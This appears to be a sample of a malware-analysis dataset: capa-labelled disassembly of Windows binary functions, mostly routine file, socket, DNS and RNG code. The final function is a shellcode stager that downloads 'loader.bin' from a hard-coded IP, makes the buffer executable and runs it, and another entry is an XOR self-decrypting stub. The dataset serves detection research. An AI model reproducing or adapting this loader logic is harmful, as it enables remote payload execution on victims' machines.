joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140120210
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x1401c4078]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140120254
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x1401202b3
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x1401202c2
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x1401202fa
cmp eax, 0x103
je 0x140120304
test eax, eax
js 0x1401202df
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x1401202fa
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x1401c40e0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140117520
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14010e0a0
mov ecx, 7
int 0x29
ud2

Function at 0x140120370
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x1401c4078]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x1401203b4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14012041a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140120451
test eax, eax
js 0x14012042b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140120444
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x1401c40e0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140117520
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14010e0a0
mov ecx, 7
int 0x29
ud2
Function at 0x1401204c0
Capabilities:
Create udp socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov edi, r8d
mov rsi, rcx
cmp word [rdx], 0
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, r8d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x140120515
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x1401205b1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2726
je 0x140120529
cmp eax, 0x2739
jne 0x14012057a
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, edi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x140120574
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.kernel32.dll_SetHandleInformation]
test eax, eax
je 0x14012058f
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x1401205b1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1401205b1
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140122020
Capabilities:
Create pipe
Generate random numbers via winapi

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xb0], xmm6
mov qword [rbp + 0xa8], 0xfffffffffffffffe
mov qword [rbp + 0x28], rcx
mov byte [rbp + 0xa5], dl
movzx eax, dl
mov ecx, 0x40080002
sub ecx, eax
mov dword [rbp + 0x24], ecx
xor edi, edi
mov r15d, 8
mov sil, 1
xorps xmm6, xmm6
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
xor eax, eax
mov qword [rbp - 0x10], rax
nop

Function at 0x140122a20
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x78
sub esp, 0x78
Function at 0x1401233f0
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140123543
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
jne 0x140123427
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x140123508
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x140123526
sub rax, rdx
add rdx, qword [rbx + 8]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x2c], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x2c]
mov r8d, eax
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x140123489
mov ecx, dword [rsp + 0x2c]
mov eax, 2
test rcx, rcx
je 0x1401234bb
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov byte [rsi + 1], 1
jmp 0x1401234bf
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, rax
shl rcx, 0x20
or rcx, 2
mov qword [rsp + 0x40], rcx
cmp eax, 0x3e5
je 0x1401234c3
cmp eax, 0x6d
jne 0x1401234ee
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
jmp 0x1401234c8
mov byte [rsi + 1], 0
xor eax, eax
jmp 0x1401234f4
lea rax, [rsp + 0x30]
mov qword [rax], 0
lea rcx, [rsp + 0x40]
call fcn.14010d8d0
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
test rax, rax
je 0x1401234fe
cmp rax, 1
je 0x140123472
mov qword [rsi + 8], rcx
mov al, 1
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
mov eax, 1
jmp 0x14012347c
mov r8d, 0x10
mov rcx, rbx
call fcn.14014bd90
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x140123434
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.14014bd90
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x140123434
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14014bc00
int3
Function at 0x1401282f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, rcx
lea rcx, [rsp + 0x40]
call fcn.14012a450

Function at 0x140129250
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140129288
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
add rsp, 0x38
ret
call fcn.1401292a0
nop
add rsp, 0x38
ret

Function at 0x1401292a0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x1401292e3
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x140115920]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14014cdc0
ud2

Function at 0x140129940
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x1401fe1c1]
mov ecx, 0x10
mov edx, 8
call fcn.140013a90
test rax, rax
je 0x140129a1f
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x140129ad0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140129a11
mov rcx, qword [rbx]
mov qword [rbp - 0x18], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1401299e8
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
call fcn.140013aa0
mov edx, 0x10
mov r8d, 8
mov rcx, qword [rbp - 0x18]
call fcn.140013aa0
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
add dword [rax], eax
add byte [rax], al
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x10
call fcn.14014cc70
ud2
Function at 0x14012b910
Capabilities:
Resolve dns

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1f0
mov rsi, rcx
mov r14, qword [rdx]
mov rbx, qword [rdx + 8]
movzx edi, word [rdx + 0x10]
mov rax, qword [0x1401fe300]
cmp rax, 3
jne 0x14012ba06
cmp rbx, 0x17f
ja 0x14012ba18
lea r15, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
inc rbx
lea rcx, [rsp + 0x28]
mov rdx, r15
mov r8, rbx
call fcn.1401381e0
cmp qword [rsp + 0x28], 0
je 0x14012b994
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14012ba29
mov rcx, qword [rsp + 0x30]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
lea r9, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14012b9ee
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x14012ba29
mov rax, qword [rsp + 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
jmp 0x14012ba29
call fcn.14014c0b0
cmp rbx, 0x17f
jbe 0x14012b94a
mov rcx, rsi
mov rdx, r14
mov r8, rbx
mov r9d, edi
call fcn.14014c200
mov rax, rsi
add rsp, 0x1f0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14012ba40
Capabilities:
Connect socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rbx, r8
mov rsi, rcx
test rdx, rdx
je 0x14012ba62
mov qword [rsi + 8], rbx
mov qword [rsi], 1
jmp 0x14012bb37
mov rax, qword [0x1401fe300]
cmp rax, 3
jne 0x14012bb42
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, 1
call fcn.1401204c0
cmp qword [rsp + 0x20], 0
mov rdi, qword [rsp + 0x28]
je 0x14012baa3
mov qword [rsi + 8], rdi
mov qword [rsi], 1
jmp 0x14012bb37
cmp word [rbx], 0
je 0x14012bac4
movups xmm0, xmmword [rbx + 4]
mov eax, dword [rbx + 0x14]
mov edx, dword [rbx + 0x18]
movzx ecx, word [rbx + 0x1c]
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x14012bad9
mov eax, dword [rbx + 2]
movzx ecx, word [rbx + 6]
mov r8d, 0x10
mov r9w, 2
xorps xmm0, xmm0
rol cx, 8
mov word [rsp + 0x20], r9w
mov word [rsp + 0x22], cx
mov dword [rsp + 0x24], eax
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14012bb15
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x14012bb37
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
call fcn.14014c0b0
jmp 0x14012ba73
Function at 0x14013eec0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14013ef3a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14013ef30
cmp r11, r10
ja 0x14013efd1
cmp r10, rdx
ja 0x14013efe3
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14013ef32
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14013ef10
jmp 0x14013efa7
ja 0x14013ef3a
mov r11, r10
cmp rax, r8
jne 0x14013eee2
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14013efab
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14013ef80
mov r8, r10
sub ecx, r9d
jns 0x14013ef9e
jmp 0x14013efad
cmp r10, rdx
je 0x14013efb9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14013efad
xor al, 1
cmp r8, rdx
jne 0x14013ef60
jmp 0x14013efad
xor eax, eax
jmp 0x14013efad
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x1401c8101]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14014ce90
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14014d440
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14014d3c0
int3

Function at 0x1401417d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14014181e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14014181e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14014181e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14014181e
cmp dword [rcx + 0x84], 0xe
jbe 0x14014181e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140141820
xor al, al
add rsp, 0x28
ret
Function at 0x140143d70
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140143dd1
mov rdi, rax
lea rdx, [0x140155bc6]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140143dd1
mov rsi, rax
lea rdx, [0x140155bd4]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140143dd1
mov rdi, rax
xor ebx, ebx
jmp 0x140143e57
lea rcx, [0x140155b60]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140143ecb
mov rsi, rax
lea rdx, [0x140155b6a]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140143ecb
mov rdi, rax
lea rdx, [0x140155b7d]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140143ecb
mov rbx, rax
lea rdx, [0x140155b91]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140143ecb
mov rsi, rax
lea rcx, [rbp - 0x18]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rdi
test eax, eax
jne 0x140143ecb
mov rdi, qword [rbp - 0x18]
movzx eax, byte [0x1401fe1c1]
mov ecx, 0x18
mov edx, 8
call fcn.140013a90
test rax, rax
je 0x140143ed0
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
xor eax, eax
lock cmpxchg qword [0x1401fe1d8], rcx
je 0x140143ebf
mov rsi, rax
cmp qword [rcx], 0
mov qword [rbp - 8], rcx
je 0x140143ea8
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp - 8]
call fcn.140013aa0
mov rcx, rsi
mov rax, rcx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.140143d40
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
mov ecx, 8
mov edx, 0x18
call fcn.14014cc70
ud2
Function at 0x14014c200
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140133ba0
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14014c299
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14014c2cb
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x14014c2e9
jmp 0x14014c2fa
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x14014c2fa
mov rcx, qword [rsp + 0x38]
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.140013aa0
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x14014c2fa
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.140013aa0
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x180e3e480
Capabilities:
Encode data using xor

Disassembly:
jmp 0x180e3e48a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x180e3e4b3
pop rbp
sub rbp, 0x33
sub rbp, 0xe3e480
cmp edx, 1
je 0x180e3e4f6
ldmxcsr dword [rsp]
add rsp, 8
popfq
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
xor rax, rax
ret
sub rsp, 0x20
jmp 0x180e3e506
add byte [rax], al
add cl, ch
add al, 0
add byte [rax], al
scasd eax, dword [rdi]
mov dword [rdx - 0x32], ebp
mov rax, 0xe3e480
add rax, rbp
add rax, 0xb8
mov rcx, 0x60b
mov rdx, 0xffffffffe8637635
xor byte [rax], dl
inc rax
dec rcx
jne 0x180e3e525
jmp 0x180e3e53c
jge 0x180e3e4fa
fdivr qword [rsi + 0x353509bc]
xor eax, 0x3df4b47d
xor al, 0x35
xor eax, 0x7ddc347d
cmc
xor dh, byte [0x173611a8d]
neg dword [0x1fe191a93]
ret 0x7dd7
Function at 0x140001000
Capabilities:
Prepare http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
movzx r8d, word [rcx + 0x28]
mov rdx, qword [rcx + 0x18]
mov rbx, rcx
mov rcx, qword [rcx]
xor r9d, r9d
xor edi, edi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x140001084
mov r8, qword [rbx + 0x20]
mov dword [rsp + 0x30], edi
lea rdx, [0x140027508]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbx + 8], rax
test rax, rax
je 0x140001084
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov eax, edi
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1400010a0
Capabilities:
Receive http response

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 8]
xor r12d, r12d
xor edx, edx
mov rbx, r12
mov esi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001151
mov qword [rsp + 0x50], rdi
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001145
test rbx, rbx
jne 0x1400010ff
mov edx, dword [rsp + 0x40]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edi, dword [rsp + 0x40]
mov rcx, rbx
add edi, esi
call qword [sym.imp.KERNEL32.dll_LocalSize]
cmp rax, rdi
jae 0x140001128
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rbp + 8]
mov edx, esi
lea r9, [rsp + 0x48]
add rdx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
add esi, dword [rsp + 0x48]
cmp dword [rsp + 0x40], r12d
ja 0x1400010d2
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rsi
pop rbp
ret
Function at 0x140001170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x100
mov rax, qword [0x140029058]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x44]
xor edi, edi
xor edx, edx
mov r8d, 0xa8
mov dword [rsp + 0x40], edi
call fcn.140008710
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea ecx, [rdi + 0x30]
call fcn.1400013e0
mov rbx, rax
test rax, rax
je 0x14000120a
lea rax, str.103.1.40.230
lea rcx, str.WinHTTP_Example_1.0
xor r9d, r9d
mov qword [rbx + 0x18], rax
mov eax, 0x118
xor r8d, r8d
mov word [rbx + 0x28], ax
lea rax, str._loader.bin
xor edx, edx
mov qword [rbx], rdi
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x20], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbx], rax
jmp 0x14000120d
mov rbx, rdi
mov rcx, rbx
call fcn.140001000
test eax, eax
jne 0x140001237
lea r8, [0x140027548]
lea rdx, [0x140027558]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400012c0
mov rcx, rbx
call fcn.1400010a0
mov rdi, rax
test rax, rax
jne 0x140001262
lea r8, [0x140027548]
lea rdx, [0x140027568]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400012c0
test rbx, rbx
je 0x14000129b
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001276
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140001285
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001293
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call fcn.140001320
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalSize]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
xor eax, eax
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140001300
mov rbx, qword [rsp + 0x110]
add rsp, 0x100
pop rdi
ret